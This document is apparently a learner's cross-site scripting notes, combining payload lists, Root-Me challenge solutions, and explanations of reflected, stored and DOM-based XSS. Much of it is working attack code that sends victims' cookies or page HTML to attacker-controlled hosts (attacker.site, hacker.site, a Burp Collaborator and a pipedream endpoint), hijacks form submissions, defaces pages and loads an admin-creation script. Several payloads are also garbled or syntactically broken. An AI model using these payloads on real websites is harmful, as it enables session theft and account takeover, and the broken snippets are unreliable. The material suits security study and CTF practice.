XSS

Payloads

<body onload="alert('XSS Example') >
onload="javascript:alert('XSS Example')"
alert(String.fromCharCode(88,83,83)

<script>
function cookiepath(path) {
for (var i = 0; i < window.frames.length; i++) { frameURL =
window.frames[i].location.toString(); if (frameURL.indexOf(path) > -1)
} }
</script>
alert(window.frames[i].document.cookie);
<iframe onload="cookiepath('/path1/')" style="display:none;" src="/path1/index.php"></
iframe>

<script>
var i=new Image();
i.src="http://attacker.site/steal.php?q="%2bdocument.cookie;
</script>
%2b is the URL- encoded version of the + character

----

to deface a website
document.body.innerHTML="<h1>Defaced</h1>";

-----

to change the output of a form (send to my server)
document.forms[0].action="https://hacker.site/steal.php";

------

tinyurl --> hides payload

BeEF is the fastest way to exploit xss and gain control of the remote browser.
if the browser is unpatched or old, BeEF and Metasploit Browser Autopwn are capable of exploiting it to give you a remote shell on the remote machine.

clients implement cross- site scripting filtering by using a **vetted library or a platform function.**

Challenges

XSS - Stored 1 : https://www.root-me.org/en/Challenges/Web-Client/XSS-Stored-1

```
"><script>document.write(%22<img src=${HOST}?
%22.concat(document.cookie.replace(%22 %22,%22&%22)).concat(%22 />%22))</
script>

<script>
fetch('w0xxsa4qptvjvty9pmjqs65es5ywml.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
```

XSS - Reflected : https://www.root-me.org/en/Challenges/Web-Client/XSS-Reflected

```
    xss' onmouseover=window.location='https://
enoljmmet013c.x.pipedream.net?'.concat(document.cookie) color='red
```

XSS - Stored 2 : https://www.root-me.org/en/Challenges/Web-Client/XSS-Stored-2

XSS - Stored - filter bypass : https://www.root-me.org/en/Challenges/Web-Client/XSS-Stored-filter-bypass

XSS - DOM Based : https://www.root-me.org/en/Challenges/Web-Client/XSS-DOM-Based

Notes

https://brutelogic.com.br/blog/the-7-main-xss-cases-everyone-should-know/
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Reflected XSS :

Non-persistent XSS
immediately echoed back
the hacker has to trick the victim into starting a specially crafted request (clicking on a link for example) to the vulnerable website page in order for the attack to be successful.

can use tinyurl

Stored XSS :

Persistent (or **Stored**) **XSS** flaws are similar to Reflected XSS; however, rather than the malicious input being directly *reflected* into the response, it is *stored* within the web application.
Once this occurs, it is then echoed somewhere else within the web application and might be available to all visitors.

Dom Based XSS :

Document Object Model xss
A form of cross-site scripting that exists only within client-side code (typically JavaScript).
The key in exploiting this XSS flaw is that the client-side script code can access the browser's DOM thus all the information available in it. Examples of this information are the URL, history, cookies, local storage, and many others.
Despite this, the DOM is a jungle, and finding this type of XSS is not the easiest of the tasks.
DOM-tree of a web page looks like consider using Firebug or Dom inspector add-ons for Firefox.

DOM-based XSS differs from the two types explained above (Reflected and Persistent) because they are not caused by coding mistakes on the server side.
Instead, they allowed when JavaScript code uses the user supplied data as part of its logic. It is important to note that this attack does not require any interaction with the server. The following code can be inserted in the <HEAD> of a local html file (test.html for example):

```
<script>
var pos = document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</script>
```

DOM-based XSS can even be persistent.
If the malicious payload is saved by the web application within a cookie, the victim user providing the server with the poisoned cookie will run the malicious payload every time a new request is sent to test.html.

XSS to RCE :

https://s0md3v.github.io/xss-to-rce/

```
<img src="//attacker.com/?="+document.documentElement.innerHTML>
<iframe src="http://xx.yy.redacted.com/panel/main.html#_3channel,javascript:alert(1)//"
#_3channel,javascript:(new Image()).src='//
attacker.com/'%2Bdocument.documentElement.innerHTML//
<iframe src="http://xx.yy.redacted.com/panel/main.html#_3channel,javascript:(new
Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML//">
```

XSS iframe payload:

"<iframe src=http://<attacker_URL>/**add_user.html**></iframe>

add_user.html

```
<script>
var commandModuleStr = '<script src="' + window.location.protocol + '//' +
window.location.host + '/add_admin.js" type="text/javascript"><\/script>';
</script>
```

Any Xss can lead to :

- Cookie stealing
- Getting complete control over a browser
- Initiating an exploitation phase against browser plugins first and then the machine
- Perform keylogging

Finding xss

1- spot these output <=> input correlations
2- try to inject <plaintext> (which breaks the appearnce) in
GET/POST variables, COOKIE variables, and HTTP HEADERS.
Injecting <plaintext> tag is not indicative of the possibility of injecting scripts.
3- injecting scripts using the <script> tag or using one of the DOM events

Code review check :

1- look for all the points where the application outputs data (totally or partially) supplied by the user and tracking it back to the source where it is retrieved for the first time.

2- data that comes from the database --> stored xss.

3- If a sanitization or integer conversion is made, then you should be fine

This endeavour is time-consuming, so the use of Cross-referencing tools like PHP XREF for PHP language projects is highly recommended. It will help you with the tracking of variables life from declaration to their death on output.